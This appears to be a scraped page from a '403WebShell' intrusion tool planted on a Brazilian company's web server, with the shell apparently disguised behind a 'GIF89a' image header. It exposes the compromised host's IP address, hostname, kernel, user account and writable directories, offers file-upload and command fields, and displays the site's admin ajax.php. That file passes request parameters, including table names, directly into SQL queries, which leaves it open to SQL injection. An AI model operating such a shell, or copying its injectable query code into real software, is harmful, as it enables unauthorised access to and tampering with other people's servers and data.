GIF89a403WebShell
403Webshell
Server IP : 200.152.183.196  /  Your IP : 216.73.216.150
Web Server : nginx/1.20.2
System : Linux server.teclabs.com.br 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : re8rc56e54 ( 10140)
PHP Version : 7.3.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/cial.ind.br/httpdocs/c2r/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/vhosts/cial.ind.br/httpdocs/c2r/includes/ajax.php
<?
require('../../includes/global.php');
if($_SESSION["adm$id_site"]['logado'] != 1)
  exit();

$ID     = request('ID');
$COD_ID = request('COD_ID');
$acao   = request('acao');
$tabela = request('tabela');

if($acao == 'VISIVEL'){$query = query("SELECT VISIVEL FROM $tabela WHERE $pkey='$ID'");foreach($query as $campo){$campo = (object) $campo;$status = $campo->VISIVEL == 1?0:1;}query("UPDATE $tabela SET $acao='$status' WHERE $pkey='$ID'");$xml = '<opera><result>1</result></opera>';}
elseif($acao == 'DESTAQUE'){$query = query("SELECT DESTAQUE FROM $tabela WHERE $pkey='$ID'");foreach($query as $campo){$campo = (object) $campo;$status = $campo->DESTAQUE == 1?0:1;}query("UPDATE $tabela SET $acao='0'");query("UPDATE $tabela SET $acao='$status' WHERE $pkey='$ID'");$xml = '<opera><status>'.$status.'</status></opera>';}
elseif($acao == 'principal'){$query = query("SELECT ID, $pkey, PRINCIPAL FROM $tabela WHERE $pkey='$COD_ID'");foreach($query as $campo){$campo = (object) $campo;if($campo->ID == $ID){$mudar_para = $campo->PRINCIPAL == 1?0:1;}}query("UPDATE $tabela SET PRINCIPAL='0' WHERE $pkey='$COD_ID'");query("UPDATE $tabela SET PRINCIPAL='$mudar_para' WHERE ID='$ID'");}
elseif($acao == 'ordem'){$ids_imgs = explode(',', request('ids_imgs'));$t = count($ids_imgs);for($x=1; $x<$t; $x++){query("UPDATE $tabela SET ORDEM='$x' WHERE ID='".$ids_imgs[$x]."'");}}
elseif($acao == 'operaordem'){

  $ordem_atual   = request('ordem_atual');
  $ordem_direcao = request('ordem_direcao');

  if($ordem_direcao == 0 && $ordem_atual > 0){
    query("UPDATE $tabela SET ORDEM='$ordem_atual' WHERE ORDEM='".($ordem_atual-1)."'");
    $ordem_atual--;
  }
  elseif($ordem_direcao == 1){
    query("UPDATE $tabela SET ORDEM='$ordem_atual' WHERE ORDEM='".($ordem_atual+1)."'");
    $ordem_atual++;
  }

  query("UPDATE $tabela SET ORDEM='$ordem_atual' WHERE $pkey='$ID'");

}

header("Content-type: application/xml; charset=iso-8859-1");
echo '<?xml version="1.0" encoding="ISO-8859-1"?><operas>'.$xml.'</operas>';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit